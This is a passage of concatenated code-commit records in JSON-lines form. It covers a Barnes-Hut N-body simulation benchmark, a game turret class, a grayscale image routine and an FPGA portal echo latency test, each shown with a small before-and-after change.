tapas::sfc::Morton>,\n                     tapas::threading::Default> Tapas;\n#endif\n\ndouble get_time() {\n  struct timeval tv;\n  gettimeofday(&tv,NULL);\n  return double(tv.tv_sec+tv.tv_usec*1e-6);\n}\n\n\nvoid P2P(float4 *target, float4 *source, int ni, int nj, float eps2) {\n#pragma omp parallel for\n  for (int i=0; i<ni; i++) {\n    real_t ax = 0;\n    real_t ay = 0;\n    real_t az = 0;\n    real_t phi = 0;\n    real_t xi = source[i].x;\n    real_t yi = source[i].y;\n    real_t zi = source[i].z;\n    for (int j=0; j<nj; j++) {\n      real_t dx = source[j].x - xi;\n      real_t dy = source[j].y - yi;\n      real_t dz = source[j].z - zi;\n      real_t R2 = dx * dx + dy * dy + dz * dz + eps2;\n      real_t invR = 1.0f \/ std::sqrt(R2);\n      real_t invR3 = source[j].w * invR * invR * invR;\n      phi += source[j].w * invR;\n      ax += dx * invR3;\n      ay += dy * invR3;\n      az += dz * invR3;\n    }\n    target[i].w = phi;\n    target[i].x = ax;\n    target[i].y = ay;\n    target[i].z = az;\n  }\n}\n\nstatic real_t distR2(const float4 &p, const float4 &q) {\n  real_t dx = q.x - p.x;\n  real_t dy = q.y - p.y;\n  real_t dz = q.z - p.z;\n  return dx * dx + dy * dy + dz * dz;\n}\n\n\nstatic void ComputeForce(Tapas::BodyIterator &p1, \n                         float4 approx, real_t eps2) {\n  real_t dx = approx.x - p1->x;\n  real_t dy = approx.y - p1->y;\n  real_t dz = approx.z - p1->z;\n  real_t R2 = dx * dx + dy * dy + dz * dz + eps2;\n  real_t invR = 1.0 \/ std::sqrt(R2);\n  real_t invR3 = invR * invR * invR;\n  p1.attr().x += dx * invR3 * approx.w;\n  p1.attr().y += dy * invR3 * approx.w;\n  p1.attr().z += dz * invR3 * approx.w;\n  p1.attr().w += invR * approx.w;\n}\n\nstatic void approximate(Tapas::Cell &c) {\n#ifdef DUMP\n  std::cerr << \"Approximate: \" << c.key() << std::endl;\n#endif\n\n  if (c.nb() == 0) {\n    c.attr().w = 0.0;\n#if 0\n    c.attr().x = 0.0;\n    c.attr().y = 0.0;\n    c.attr().z = 0.0;\n#endif\n\n#ifdef DUMP\n    std::cerr << \"Empty\" << std::endl;\n#endif\n\n  } else if (c.nb() == 1) {\n    c.attr() = c.body(0);\n#ifdef DUMP\n    std::cerr << \"One particle\" << std::endl;\n#endif\n  } else {\n    tapas::Map(approximate, c.subcells());\n    float4 center = {0.0, 0.0, 0.0, 0.0};\n    for (int i = 0; i < c.nsubcells(); ++i) {\n      Tapas::Cell &sc = c.subcell(i);\n      center.w += sc.attr().w;\n      center.x += sc.attr().x * sc.attr().w;\n      center.y += sc.attr().y * sc.attr().w;\n      center.z += sc.attr().z * sc.attr().w;\n    }\n    center.x \/= center.w;\n    center.y \/= center.w;\n    center.z \/= center.w;\n    c.attr() = center;\n  }\n}\n\nstatic void interact(Tapas::Cell &c1, Tapas::Cell &c2, real_t theta) {\n#ifdef TAPAS_DEBUG\n  {\n    Stderr e(\"interact\");\n    e.out() << \"Head.\" << std::endl;\n    e.out() << \"\\t\" << Tapas::Cell::SFC::Decode(c1.key()) << std::endl;\n    e.out() << \"\\t\" << Tapas::Cell::SFC::Decode(c2.key()) << std::endl;\n  }\n#endif\n  \n  if (c1.nb() == 0 || c2.nb() == 0) {\n    return;\n  } else if (!c1.IsLeaf()) {\n    tapas::Map(interact, tapas::Product(c1.subcells(), c2), theta);\n  } else if (c2.IsLeaf()) {\n#ifdef TAPAS_DEBUG\n    {\n      Stderr e(\"interact\");\n      e.out() << \"Leaf\/leaf.\" << std::endl;\n      e.out() << \"\\t\" << Tapas::Cell::SFC::Decode(c1.key()) << std::endl;\n      e.out() << \"\\t\" << Tapas::Cell::SFC::Decode(c2.key()) << std::endl;\n    }\n#endif\n    \n    \/\/ c1 and c2 have only one particle each. Calculate direct force.\n    \/\/tapas::Map(ComputeForce, tapas::Product(c1.particles(),\n    \/\/c2.particles()));\n    tapas::Map(ComputeForce, c1.bodies(), c2.body(0), EPS2);\n  } else {\n    \/\/ use apploximation\n    const float4 &p1 = c1.body(0);\n    real_t d = std::sqrt(distR2(c2.attr(), p1));\n    real_t s = c2.width(0);\n    \n    if ((s\/ d) < theta) {\n#ifdef TAPAS_DEBUG\n      {\n        Stderr e(\"interact\");\n        e.out() << \"Leaf\/branch. far enough. approximate.\" << std::endl;\n        e.out() << \"\\t\" << Tapas::Cell::SFC::Decode(c1.key()) << std::endl;\n        e.out() << \"\\t\" << Tapas::Cell::SFC::Decode(c2.key()) << std::endl;\n      }\n#endif\n      tapas::Map(ComputeForce, c1.bodies(), c2.attr(), EPS2);\n    } else {\n#ifdef TAPAS_DEBUG\n      {\n        Stderr e(\"interact\");\n        e.out() << \"Leaf\/branch. close. recursive.\" << std::endl;\n        e.out() << \"\\t\" << Tapas::Cell::SFC::Decode(c1.key()) << std::endl;\n        e.out() << \"\\t\" << Tapas::Cell::SFC::Decode(c2.key()) << std::endl;\n      }\n#endif\n      tapas::Map(interact, tapas::Product(c1, c2.subcells()), theta);\n    }\n  }\n}\n\ntypedef tapas::Vec<DIM, real_t> Vec3;\n\nfloat4 *calc(float4 *p, size_t np) {\n#ifdef USE_MPI\n  int size = 0;\n  MPI_Comm_size(MPI_COMM_WORLD, &size);\n#endif\n  \n  \/\/ PartitionBSP is a function that partitions the given set of\n  \/\/ particles by the binary space partitioning. The result is a\n  \/\/ octree for 3D particles and a quadtree for 2D particles.\n  Tapas::Region r(Vec3(0.0, 0.0, 0.0), Vec3(1.0, 1.0, 1.0));\n  Tapas::Cell *root = Tapas::Partition(p, np, r, 1);\n\n\n  \/\/ FIXME: this line is commented out for debugging.\n  if (size == 1) {\n    tapas::Map(approximate, *root); \/\/ or, simply: approximate(*root);\n  }\n  \n  real_t theta = 0.5;\n  tapas::Map(interact, tapas::Product(*root, *root), theta);\n  float4 *out = root->body_attrs();\n  return out;\n}\n\nvoid setRandSeed(int rank, int size) {\n  int seed;\n  if (rank == 0) {\n    if (getenv(\"TAPAS_SEED\")) {\n      seed = atoi(getenv(\"TAPAS_SEED\"));\n      std::cerr << \"Seed = \" << seed << std::endl;\n    } else {\n      seed = 0;\n    }\n  }\n\n#ifdef USE_MPI\n  MPI_Bcast(&seed, 1, MPI_INT, 0, MPI_COMM_WORLD);\n#endif\n\n  srand48(seed);\n}\n\n\/\/ Total number of particles.\nint N_total = -1;\n\nvoid parseOption(int *argc, char ***argv) {\n  int result;\n\n#ifdef USE_MPI\n  int size = 0;\n  MPI_Comm_size(MPI_COMM_WORLD, &size);\n#endif\n  \n  while((result = getopt(*argc, *argv, \"s:w:\")) != -1) {\n    switch(result) {\n      case 'w':\n        N_total = atoi(optarg) * size;\n        break;\n      case 's':\n        N_total = atoi(optarg);\n        break;\n      case '?':\n        std::cerr << \"Usage:\"\n                  << \"   $ \" << (*argv)[0] << \" -w N_per_proc -s N_total\" << std::endl;\n        exit(0);\n        break;\n    }\n  }\n\n  *argc = optind;\n}\n\n\nint main(int argc, char **argv) {\n  int rank = 0; \/\/ MPI rank\n  int size = 1; \/\/ MPI size\n  \n#ifdef USE_MPI\n  int provided, required = MPI_THREAD_MULTIPLE;\n  MPI_Init_thread(&argc, &argv, required, &provided);\n  assert(provided >= required);\n  MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n  MPI_Comm_size(MPI_COMM_WORLD, &size);\n#endif\n\n  parseOption(&argc, &argv);\n\n  \/\/ NOTE: Total number of particles is N * size (weak scaling)\n  const real_t OPS = 20. * N_total * N_total * 1e-9;\n  assert(N_total % size == 0);\n  int N = N_total \/ size;\n\n  std::cout << \"time n_total \" << N_total << std::endl;\n  std::cout << \"time n_per_proc \" << (N_total \/ size) << std::endl;\n  \n  float4 *sourceHost = new float4 [N];\n  float4 *targetHost = new float4 [N];\n\n  setRandSeed(rank, size);\n  \n  for (int i = 0; i < N_total; i++) {\n    double x = drand48();\n    double y = drand48();\n    double z = drand48();\n    double w = drand48() \/ N_total;\n    \n    if (N*rank <= i && i < N*(rank+1)) {\n      int j = i % N;\n      sourceHost[j].x = x;\n      sourceHost[j].y = y;\n      sourceHost[j].z = z;\n      sourceHost[j].w = w;\n    }\n  }\n\n  if (rank == 0) {\n    std::cout << std::scientific << \"N      : \" << N_total\n              << \" (\" << N << \" per proc)\"\n              << std::endl;\n  }\n\n  double tic = get_time();\n  float4 *targetTapas = calc(sourceHost, N);\n  double toc = get_time();\n  std::cout << \"time total_calc \"   << std::scientific << toc-tic << \" s\" << std::endl;\n  std::cout << \"time total_gflops \" << std::scientific << OPS \/ (toc-tic) << \" GFlops\" << std::endl;\n\n  if (size == 1) {\n    double tic = get_time();\n    P2P(targetHost,sourceHost,N,N,EPS2);\n    double toc = get_time();\n    std::cout << std::scientific << \"No SSE : \" << toc-tic << \" s : \"\n              << OPS \/ (toc-tic) << \" GFlops\" << std::endl;\n  }\n  \n#ifdef DUMP\n  std::ofstream ref_out(\"bh_ref.txt\");\n  std::ofstream tapas_out(\"bh_tapas.txt\");\n#endif\n\n  \/\/ COMPARE RESULTS\n  if (size == 1) {\n    real_t pd = 0, pn = 0, fd = 0, fn = 0;\n    for( int i=0; i<N; i++ ) {\n#ifdef DUMP\n      ref_out << targetHost[i].x << \" \" << targetHost[i].y << \" \"\n              << targetHost[i].z << \" \" << targetHost[i].w << std::endl;\n      tapas_out << targetTapas[i].x << \" \" << targetTapas[i].y << \" \"\n                << targetTapas[i].z << \" \" << targetTapas[i].w << std::endl;\n#endif\n      targetHost[i].w -= sourceHost[i].w \/ sqrtf(EPS2);\n      targetTapas[i].w -= sourceHost[i].w \/ sqrtf(EPS2);\n      pd += (targetHost[i].w - targetTapas[i].w) * (targetHost[i].w - targetTapas[i].w);\n      pn += targetHost[i].w * targetHost[i].w;\n      fd += (targetHost[i].x - targetTapas[i].x) * (targetHost[i].x - targetTapas[i].x)\n            + (targetHost[i].y - targetTapas[i].y) * (targetHost[i].y - targetTapas[i].y)\n            + (targetHost[i].z - targetTapas[i].z) * (targetHost[i].z - targetTapas[i].z);\n      fn += targetHost[i].x * targetHost[i].x + targetHost[i].y * targetHost[i].y + targetHost[i].z * targetHost[i].z;\n    }\n    std::cout << std::scientific << \"P ERR  : \" << sqrtf(pd\/pn) << std::endl;\n    std::cout << std::scientific << \"F ERR  : \" << sqrtf(fd\/fn) << std::endl;\n  } else {\n    std::cout << \"Skipping result check\" << std::endl;\n  }\n\n\/\/ DEALLOCATE\n  delete[] sourceHost;\n  delete[] targetHost;\n  \/\/delete[] targetTapas;\n\n#ifdef USE_MPI\n  MPI_Finalize();\n#endif\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#ifndef TURRET_HPP\n#define TURRET_HPP\n\n#include \"piece.hpp\"\n#include \"gridtick_interface.hpp\"\n\n\n#include <ge\/mesh.hpp>\n#include <ge\/mesh_actor.hpp>\n#include <ge\/texture_asset.hpp>\n\nclass turret : public piece\n{\n\tge::mesh_actor* mesh;\n\n\tboost::signals2::scoped_connection die_connect;\n\n\tstd::array<int, 1> upgrades;\npublic:\n\tenum upgradesenum {\n\t\tDamagePlus,\n\t\tHealthPlus,\n\t\tRegenPlus,\n\t};\n\tvoid increment_upgrade(upgradesenum to_increment, bool positive)\n\t{\n\t\tif (positive)\n\t\t\tupgrades[to_increment]++;\n\t\telse\n\t\t\tupgrades[to_increment]--;\n\t}\n\n\tvoid damage(float damage) override\n\t{\n\t\tmodify_health(-damage);\n\t}\n\tvoid initialize(glm::uvec3 location, Directions direction)\n\t{\n\t\trotate(direction);\n\t\tpiece::initialize(location);\n\t\tadd_interface<turret, gridtick_interface>();\n\t\tmesh = ge::actor::factory<ge::mesh_actor>(this, \"turret\/turret.meshsettings\").get();\n\t\tnow.damage = 50;\n\t\tnow.health = 100;\n\t\tdie_connect = sig_die.connect([](piece* p) {\n\t\t\tp->set_parent(NULL);\n\t\t});\n\t}\n\tvoid tick_grid()\n    {      \n\t\tshoot();\n\t}\n\tvoid shoot()\n\t{\n\t\tint range = 3;\n\t\tauto squares = squares_in_direction(get_grid_location(), my_direction, range);\n\t\tpiece* tod;\n\t\tfor (int x = 0; x < range; x++)\n\t\t{\n\t\t\tif (squares[x].size() != 0)\n\t\t\t{\n\t\t\t\ttod = squares[x][0];\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse if (x==range-1)\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\ttod->damage(now.damage);\n\t}\n};\n\n#endif  \/\/ TURRET_HPP\n<commit_msg>turret buffs 3.0<commit_after>#pragma once\n\n#ifndef TURRET_HPP\n#define TURRET_HPP\n\n#include \"piece.hpp\"\n#include \"gridtick_interface.hpp\"\n\n\n#include <ge\/mesh.hpp>\n#include <ge\/mesh_actor.hpp>\n#include <ge\/texture_asset.hpp>\n\nclass turret : public piece\n{\n\tge::mesh_actor* mesh;\n\n\tboost::signals2::scoped_connection die_connect;\n\n\tstd::array<int, 1> upgrades;\npublic:\n\tenum upgradesenum {\n\t\tDamagePlus,\n\t\tHealthPlus,\n\t\tRegenPlus,\n\t};\n\tvoid increment_upgrade(upgradesenum to_increment, bool positive)\n\t{\n\t\tif (positive)\n\t\t\tupgrades[to_increment]++;\n\t\telse\n\t\t\tupgrades[to_increment]--;\n\t}\n\n\tvoid damage(float damage) override\n\t{\n\t\tmodify_health(-damage);\n\t}\n\tvoid initialize(glm::uvec3 location, Directions direction)\n\t{\n\t\trotate(direction);\n\t\tpiece::initialize(location);\n\t\tadd_interface<turret, gridtick_interface>();\n\t\tmesh = ge::actor::factory<ge::mesh_actor>(this, \"turret\/turret.meshsettings\").get();\n\t\tnow.damage = 50;\n\t\tinital.health = 100;\n\t\tnow.health = 100;\n\t\tdie_connect = sig_die.connect([](piece* p) {\n\t\t\tp->set_parent(NULL);\n\t\t});\n\t}\n\tvoid tick_grid()\n    {      \n\t\tshoot();\n\t}\n\tvoid shoot()\n\t{\n\t\tint range = 3;\n\t\tauto squares = squares_in_direction(get_grid_location(), my_direction, range);\n\t\tpiece* tod;\n\t\tfor (int x = 0; x < range; x++)\n\t\t{\n\t\t\tif (squares[x].size() != 0)\n\t\t\t{\n\t\t\t\ttod = squares[x][0];\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\telse if (x==range-1)\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\ttod->damage(now.damage);\n\t}\n};\n\n#endif  \/\/ TURRET_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/\/------------------------------------------------------------------------------\n\/\/ Copyright (c) 2016 John D. Haughton\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/------------------------------------------------------------------------------\n\n#include <cstring>\n\n#include \"PLT\/Image.h\"\n\nnamespace PLT {\n\nunsigned Image::getPixelBits() { return 4; }\n\nuint32_t Image::getPixel(unsigned x, unsigned y) const\n{\n   uint8_t pair = buffer[(x + y * pitch) \/ 2];\n   uint8_t grey = x & 1 ? (pair << 4) : (pair & 0xF0);\n   return (grey << 16) | (grey << 8) | grey;\n}\n\nvoid Image::point(STB::Colour rgb, unsigned x, unsigned y)\n{\n   uint8_t& pair = buffer[(x + y * pitch) \/ 2];\n   uint8_t grey = 0xF - (STB::ColourDecode(rgb).grn() >> 4);\n   if(x & 1)\n   {\n      pair = (pair & 0xF0) | grey;\n   }\n   else\n   {\n      pair = (pair & 0x0F) | (grey << 4);\n   }\n}\n\nvoid Image::clear(STB::Colour rgb)\n{\n   defaultClear(rgb);\n}\n\nvoid Image::span(STB::Colour rgb, unsigned x1, unsigned y, unsigned x2)\n{\n   defaultSpan(rgb, x1, y, x2);\n}\n\nvoid Image::blit(const Image& source,\n                 unsigned x, unsigned y,\n                 unsigned w, unsigned h,\n                 unsigned src_x, unsigned src_y)\n{\n   defaultBlit(source, x, y, w, h, src_x, src_y);\n}\n\nvoid Image::lineBlit(uint8_t pixel_mask, STB::Colour one, STB::Colour zero,\n                     unsigned x, unsigned y)\n{\n   defaultLineBlit(pixel_mask, one, zero, x, y);\n}\n\nbool Image::save(const char* name)\n{\n   return defaultSave(name);\n}\n\n} \/\/ namespace PLT\n<commit_msg>Fix Kindle3 SDL2 build issue<commit_after>\/\/------------------------------------------------------------------------------\n\/\/ Copyright (c) 2016 John D. Haughton\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/------------------------------------------------------------------------------\n\n#include <cstring>\n\n#include \"PLT\/Image.h\"\n\nnamespace PLT {\n\nunsigned Image::getPixelBits() { return 4; }\n\nuint32_t Image::getPixel(unsigned x, unsigned y) const\n{\n   uint8_t pair = buffer[(x + y * pitch) \/ 2];\n   uint8_t grey = x & 1 ? (pair << 4) : (pair & 0xF0);\n   return (grey << 16) | (grey << 8) | grey;\n}\n\nvoid Image::point(STB::Colour rgb, unsigned x, unsigned y)\n{\n   uint8_t& pair = buffer[(x + y * pitch) \/ 2];\n   uint8_t grey = 0xF - (STB::ColourDecode(rgb).grn() >> 4);\n   if(x & 1)\n   {\n      pair = (pair & 0xF0) | grey;\n   }\n   else\n   {\n      pair = (pair & 0x0F) | (grey << 4);\n   }\n}\n\nvoid Image::clear(STB::Colour rgb)\n{\n   defaultClear(rgb);\n}\n\nvoid Image::span(STB::Colour rgb, unsigned x1, unsigned y, unsigned x2)\n{\n   defaultSpan(rgb, x1, y, x2);\n}\n\nvoid Image::blit(const Image& source,\n                 unsigned x, unsigned y,\n                 unsigned w, unsigned h,\n                 unsigned src_x, unsigned src_y)\n{\n   defaultBlit(source, x, y, w, h, src_x, src_y);\n}\n\nvoid Image::lineBlit(uint8_t pixel_mask, STB::Colour one, STB::Colour zero,\n                     unsigned x, unsigned y)\n{\n   defaultLineBlit(pixel_mask, one, zero, x, y);\n}\n\nbool Image::save(const char* name) const\n{\n   return defaultSave(name);\n}\n\n} \/\/ namespace PLT\n<|endoftext|>"}
{"text":"<commit_before>\n#include <stdio.h>\n#include <stdlib.h>\n#include <pthread.h>\n#include <semaphore.h>\n#include <unistd.h>\n#include <pthread.h>\n\n#include \"EchoIndicationWrapper.h\"\n#include \"EchoRequestProxy.h\"\n#include \"GeneratedTypes.h\"\n#include \"SwallowProxy.h\"\n#include <sys\/ioctl.h>\n#include \"zynqportal.h\"\n#include <errno.h>\n\n#define LOOP_COUNT 5\n#define SEPARATE_EVENT_THREAD\n\nEchoRequestProxy *echoRequestProxy = 0;\n\n#ifdef SEPARATE_EVENT_THREAD\n#define CHECKSEM(A) 1\n#else \/\/ use inline sync\n#define CHECKSEM(A) (!(A))\n#endif\n\nstatic int silent;\nstatic int flag_heard;\nstatic sem_t sem_heard;\nstatic pthread_mutex_t mutex_heard;\n\nPortalPoller *poller = 0;\nstatic int use_mutex = 0;\nstatic int use_inline = 0;\npthread_t threaddata;\n\nstatic void *pthread_worker(void *p)\n{\n    void *rc = NULL;\n    while (CHECKSEM(sem_heard) && !rc && !poller->stopping) {\n        rc = poller->portalExec_poll(poller->portalExec_timeout);\n        if ((long) rc >= 0)\n            rc = poller->portalExec_event();\n    }\n    return rc;\n}\nclass EchoIndication : public EchoIndicationWrapper\n{\npublic:\n    virtual void heard(uint32_t v) {\n        if (!silent)\n            fprintf(stderr, \"heard an echo: %d\\n\", v);\n        flag_heard++;\n        if (use_mutex)\n            pthread_mutex_unlock(&mutex_heard);\n        else\n            sem_post(&sem_heard);\n    }\n    virtual void heard2(uint32_t v1, uint32_t v2) {}\n    EchoIndication(unsigned int id, PortalPoller *poller) : EchoIndicationWrapper(id, poller) {}\n};\n\nstatic void run_test(void)\n{\n#define PCYC_LEN 20\n  int i;\n  uint64_t pcyc[PCYC_LEN];\n  uint64_t lastp;\n  PortalInterruptTime inttime;\n\n  memset(pcyc, 0, sizeof(pcyc));\n  pcyc[0] = portalCycleCount();\n  flag_heard = 0;\n  pcyc[3] = portalCycleCount();\n    echoRequestProxy->say(22);\n  pcyc[8] = portalCycleCount();\n  if (use_inline) {\n    while (!flag_heard) {\n        \/\/void *rc = poller->portalExec_poll(poller->portalExec_timeout);\n        \/\/if ((long) rc >= 0)\n        poller->portalExec_event();\n    }\n    pcyc[9] = pcyc[8];\n    pcyc[12] = pcyc[8];\n    pcyc[17] = pcyc[8];\n  }\n  else {\n  if (use_mutex)\n    pthread_mutex_lock(&mutex_heard);\n  else\n    sem_wait(&sem_heard);\n  ioctl(globalDirectory.fpga_fd, PORTAL_INTERRUPT_TIME, &inttime);\n  pcyc[9] = (((uint64_t)inttime.msb)<<32) | ((uint64_t)inttime.lsb);\n  pcyc[12] = poll_return_time; \/\/ time after poll() returns\n  pcyc[17] = poll_enter_time; \/\/ time poll() reentered\n  }\n  pcyc[18] = portalCycleCount();\n  for (i = 0; i < PCYC_LEN; i++)\n      if (pcyc[i]) {\n          if (i)\n              printf(\"  %d:%5lld;\", i, (long long)(pcyc[i] - lastp));\n          lastp = pcyc[i];\n      }\n  printf(\"\\n\");\n}\n\nint main(int argc, const char **argv)\n{\n    int i;\n\n    poller = new PortalPoller();\n    EchoIndication *echoIndication = new EchoIndication(IfcNames_EchoIndication, poller);\n    \/\/ these use the default poller\n    SwallowProxy *swallowProxy = new SwallowProxy(IfcNames_Swallow);\n    echoRequestProxy = new EchoRequestProxy(IfcNames_EchoRequest);\n    pthread_mutex_lock(&mutex_heard);\n    sem_init(&sem_heard, 0, 0);\n\n    poller->portalExec_init();\n    pthread_create(&threaddata, NULL, &pthread_worker, (void*)poller);\n    portalExec_start();\n#ifdef ZYNQ\n    uint64_t portcyc2 = portalCycleCount();\n    unsigned int high_bits = ioctl(globalDirectory.fpga_fd, PORTAL_DIRECTORY_READ, ((unsigned long)PORTAL_DIRECTORY_COUNTER_MSB) - (unsigned long) &globalDirectory.map_base[0]);\n    unsigned int low_bits = ioctl(globalDirectory.fpga_fd, PORTAL_DIRECTORY_READ, ((unsigned long)PORTAL_DIRECTORY_COUNTER_LSB) - (unsigned long) &globalDirectory.map_base[0]);\n    uint64_t portcyc = portalCycleCount();\n    printf(\"kernel crossing fpga cycles IN: %lld BACK: %lld\\n\", (long long)low_bits - portcyc2, (long long)portcyc - low_bits);\n#endif\n\n    run_test();\n    printf(\"turn off printf in responder\\n\");\n    silent = 1;\n    for (i = 0; i < LOOP_COUNT; i++)\n        run_test();\n    printf(\"now try as mutex\\n\");\n    use_mutex = 1;\n    for (i = 0; i < LOOP_COUNT; i++)\n        run_test();\n    use_mutex = 0;\n\n    struct sched_param sched_param;\n    int sched_policy;\n    pthread_getschedparam(pthread_self(), &sched_policy, &sched_param);\n    sched_param.sched_priority = sched_get_priority_max(SCHED_RR);\n    pthread_setschedparam(pthread_self(), SCHED_RR, &sched_param);\n    printf(\"[%s:%d] scheduling policy changed to SCHED_RR\\n\", __FUNCTION__, __LINE__);\n    for (i = 0; i < LOOP_COUNT; i++)\n        run_test();\n    printf(\"disable interrupts for echoIndication\\n\");\n    poller->portalExec_end();\n    printf(\"now try inline\\n\");\n    use_inline = 1;\n    for (i = 0; i < LOOP_COUNT; i++)\n        run_test();\n    portalExec_end();\nprintf(\"[%s:%d] end\\n\", __FUNCTION__, __LINE__);\n    return 0;\n}\n<commit_msg>include string.h into ipcperf\/testecho.cpp<commit_after>\n#include <stdio.h>\n#include <stdlib.h>\n#include <pthread.h>\n#include <semaphore.h>\n#include <unistd.h>\n#include <pthread.h>\n#include <string.h>\n\n#include \"EchoIndicationWrapper.h\"\n#include \"EchoRequestProxy.h\"\n#include \"GeneratedTypes.h\"\n#include \"SwallowProxy.h\"\n#include <sys\/ioctl.h>\n#include \"zynqportal.h\"\n#include <errno.h>\n\n#define LOOP_COUNT 5\n#define SEPARATE_EVENT_THREAD\n\nEchoRequestProxy *echoRequestProxy = 0;\n\n#ifdef SEPARATE_EVENT_THREAD\n#define CHECKSEM(A) 1\n#else \/\/ use inline sync\n#define CHECKSEM(A) (!(A))\n#endif\n\nstatic int silent;\nstatic int flag_heard;\nstatic sem_t sem_heard;\nstatic pthread_mutex_t mutex_heard;\n\nPortalPoller *poller = 0;\nstatic int use_mutex = 0;\nstatic int use_inline = 0;\npthread_t threaddata;\n\nstatic void *pthread_worker(void *p)\n{\n    void *rc = NULL;\n    while (CHECKSEM(sem_heard) && !rc && !poller->stopping) {\n        rc = poller->portalExec_poll(poller->portalExec_timeout);\n        if ((long) rc >= 0)\n            rc = poller->portalExec_event();\n    }\n    return rc;\n}\nclass EchoIndication : public EchoIndicationWrapper\n{\npublic:\n    virtual void heard(uint32_t v) {\n        if (!silent)\n            fprintf(stderr, \"heard an echo: %d\\n\", v);\n        flag_heard++;\n        if (use_mutex)\n            pthread_mutex_unlock(&mutex_heard);\n        else\n            sem_post(&sem_heard);\n    }\n    virtual void heard2(uint32_t v1, uint32_t v2) {}\n    EchoIndication(unsigned int id, PortalPoller *poller) : EchoIndicationWrapper(id, poller) {}\n};\n\nstatic void run_test(void)\n{\n#define PCYC_LEN 20\n  int i;\n  uint64_t pcyc[PCYC_LEN];\n  uint64_t lastp;\n  PortalInterruptTime inttime;\n\n  memset(pcyc, 0, sizeof(pcyc));\n  pcyc[0] = portalCycleCount();\n  flag_heard = 0;\n  pcyc[3] = portalCycleCount();\n    echoRequestProxy->say(22);\n  pcyc[8] = portalCycleCount();\n  if (use_inline) {\n    while (!flag_heard) {\n        \/\/void *rc = poller->portalExec_poll(poller->portalExec_timeout);\n        \/\/if ((long) rc >= 0)\n        poller->portalExec_event();\n    }\n    pcyc[9] = pcyc[8];\n    pcyc[12] = pcyc[8];\n    pcyc[17] = pcyc[8];\n  }\n  else {\n  if (use_mutex)\n    pthread_mutex_lock(&mutex_heard);\n  else\n    sem_wait(&sem_heard);\n  ioctl(globalDirectory.fpga_fd, PORTAL_INTERRUPT_TIME, &inttime);\n  pcyc[9] = (((uint64_t)inttime.msb)<<32) | ((uint64_t)inttime.lsb);\n  pcyc[12] = poll_return_time; \/\/ time after poll() returns\n  pcyc[17] = poll_enter_time; \/\/ time poll() reentered\n  }\n  pcyc[18] = portalCycleCount();\n  for (i = 0; i < PCYC_LEN; i++)\n      if (pcyc[i]) {\n          if (i)\n              printf(\"  %d:%5lld;\", i, (long long)(pcyc[i] - lastp));\n          lastp = pcyc[i];\n      }\n  printf(\"\\n\");\n}\n\nint main(int argc, const char **argv)\n{\n    int i;\n\n    poller = new PortalPoller();\n    EchoIndication *echoIndication = new EchoIndication(IfcNames_EchoIndication, poller);\n    \/\/ these use the default poller\n    SwallowProxy *swallowProxy = new SwallowProxy(IfcNames_Swallow);\n    echoRequestProxy = new EchoRequestProxy(IfcNames_EchoRequest);\n    pthread_mutex_lock(&mutex_heard);\n    sem_init(&sem_heard, 0, 0);\n\n    poller->portalExec_init();\n    pthread_create(&threaddata, NULL, &pthread_worker, (void*)poller);\n    portalExec_start();\n#ifdef ZYNQ\n    uint64_t portcyc2 = portalCycleCount();\n    unsigned int high_bits = ioctl(globalDirectory.fpga_fd, PORTAL_DIRECTORY_READ, ((unsigned long)PORTAL_DIRECTORY_COUNTER_MSB) - (unsigned long) &globalDirectory.map_base[0]);\n    unsigned int low_bits = ioctl(globalDirectory.fpga_fd, PORTAL_DIRECTORY_READ, ((unsigned long)PORTAL_DIRECTORY_COUNTER_LSB) - (unsigned long) &globalDirectory.map_base[0]);\n    uint64_t portcyc = portalCycleCount();\n    printf(\"kernel crossing fpga cycles IN: %lld BACK: %lld\\n\", (long long)low_bits - portcyc2, (long long)portcyc - low_bits);\n#endif\n\n    run_test();\n    